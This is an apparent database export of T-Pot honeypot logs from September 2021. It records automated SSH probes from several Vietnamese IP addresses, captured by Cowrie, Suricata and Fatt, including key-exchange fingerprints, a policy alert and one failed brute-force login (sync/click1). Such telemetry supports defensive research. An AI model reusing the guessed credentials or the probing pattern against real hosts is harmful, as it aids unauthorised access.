"ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:08.687358Z", "@timestamp": "2021-09-20T11:06:08.687Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20951	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:09.652429+03	2021-09-20 14:15:03.032643+03	{"_id": "LAXiAnwBvYTbRNuEfPu6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1546074059802940, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44560, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.652429Z", "@timestamp": "2021-09-20T11:06:09.652Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20952	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:09.819173+03	2021-09-20 14:15:03.033644+03	{"_id": "MAXiAnwBvYTbRNuEfPu6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:06:09.339034+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 65811433729114, "payload": "YWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS05Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1tZDUtOTYtZXRtQG9wZW5zc2guY29tLHVtYWMtNjRAb3BlbnNzaC5jb20sdW1hYy0xMjhAb3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMSxobWFjLW1kNSxobWFjLXNoYTItMjU2LTk2LGhtYWMtc2hhMi01MTItOTYsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LTk2AAABrXVtYWMtNjQtZXRtQG9wZW5zc2guY29tLHVtYWMtMTI4LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItMjU2LTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLTk2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtOTYtZXRtQG9wZW5zc2guY29tLGhtYWMtbWQ1LTk2LWV0bUBvcGVuc3NoLmNvbSx1bWFjLTY0QG9wZW5zc2guY29tLHVtYWMtMTI4QG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1tZDUsaG1hYy1zaGEyLTI1Ni05NixobWFjLXNoYTItNTEyLTk2LGhtYWMtc2hhMS05NixobWFjLW1kNS05NgAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAABp6bGliQG9wZW5zc2guY29tLHpsaWIsbm9uZQAAAAAAAAAAAAAAAADNl5pGnvc=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44008, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:06:09.819173Z", "@timestamp": "2021-09-20T11:06:09.819Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "ac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96....zlib@openssh.com,zlib,none....zlib@openssh.com,zlib,none................F.."}}	1	\N	\N	alert	\N	\N
20953	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:09.785583+03	2021-09-20 14:15:03.035642+03	{"_id": "LQXiAnwBvYTbRNuEfPu6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 65811433729114, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44008, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.785583Z", "@timestamp": "2021-09-20T11:06:09.785Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20954	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:09.191961+03	2021-09-20 14:15:03.036642+03	{"_id": "MgXiAnwBvYTbRNuEffvT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "09c97ad1b2cd", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:09.191961Z", "@timestamp": "2021-09-20T11:06:09.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20955	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.293463+03	2021-09-20 14:15:03.037643+03	{"_id": "NAXiAnwBvYTbRNuEffvU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44104 (192.168.176.2:22) [session: ad80d8e088f0]", "session": "ad80d8e088f0", "@version": "1", "protocol": "ssh", "src_port": 44104, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.293463Z", "@timestamp": "2021-09-20T11:06:09.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20956	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:09.376635+03	2021-09-20 14:15:03.038642+03	{"_id": "PgXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44560 (192.168.176.2:22) [session: 96a155175b8d]", "session": "96a155175b8d", "@version": "1", "protocol": "ssh", "src_port": 44560, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.376635Z", "@timestamp": "2021-09-20T11:06:09.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20957	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:09.561979+03	2021-09-20 14:15:03.040613+03	{"_id": "PwXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:44008 (192.168.176.2:22) [session: f0d8ee6e7eed]", "session": "f0d8ee6e7eed", "@version": "1", "protocol": "ssh", "src_port": 44008, "dest_port": 22, "timestamp": "2021-09-20T11:06:09.561979Z", "@timestamp": "2021-09-20T11:06:09.561Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
20958	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:09.296037+03	2021-09-20 14:15:03.042613+03	{"_id": "QgXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44104, "timestamp": "2021-09-20T11:06:09.296037", "@timestamp": "2021-09-20T11:06:09.296Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20959	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:09.442754+03	2021-09-20 14:15:03.043614+03	{"_id": "QwXiAnwBvYTbRNuEffvX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41058, "timestamp": "2021-09-20T11:06:09.442754", "@timestamp": "2021-09-20T11:06:09.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20960	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:10.509486+03	2021-09-20 14:15:03.044613+03	{"_id": "cwXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "223.241.247.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59570, "timestamp": "2021-09-20T11:06:10.509486", "@timestamp": "2021-09-20T11:06:10.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20961	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:10.665606+03	2021-09-20 14:15:03.045613+03	{"_id": "dQXiAnwBvYTbRNuEgfvA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [sync/click1] failed", "session": "09c97ad1b2cd", "@version": "1", "password": "click1", "username": "sync", "timestamp": "2021-09-20T11:06:10.665606Z", "@timestamp": "2021-09-20T11:06:10.665Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20962	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:11.517511+03	2021-09-20 14:15:03.046613+03	{"_id": "eQXiAnwBvYTbRNuEhPuN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 509616846969150, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 44380, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.517511Z", "@timestamp": "2021-09-20T11:06:11.517Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20963	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:14.094966+03	2021-09-20 14:15:03.047612+03	{"_id": "CgXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 806242321025697, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34194, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.094966Z", "@timestamp": "2021-09-20T11:06:14.094Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20964	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:14.515981+03	2021-09-20 14:15:03.049612+03	{"_id": "DQXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1571577575862657, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47508, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.515981Z", "@timestamp": "2021-09-20T11:06:14.515Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20965	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:14.440075+03	2021-09-20 14:15:03.050612+03	{"_id": "DwXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1559480800477884, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46212, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.440075Z", "@timestamp": "2021-09-20T11:06:14.440Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20966	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:14.706803+03	2021-09-20 14:15:03.051612+03	{"_id": "EAXiAnwBvYTbRNuEkPxF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1342116800639117, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 33448, "dest_port": 22, "timestamp": "2021-09-20T11:06:14.706803Z", "@timestamp": "2021-09-20T11:06:14.706Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
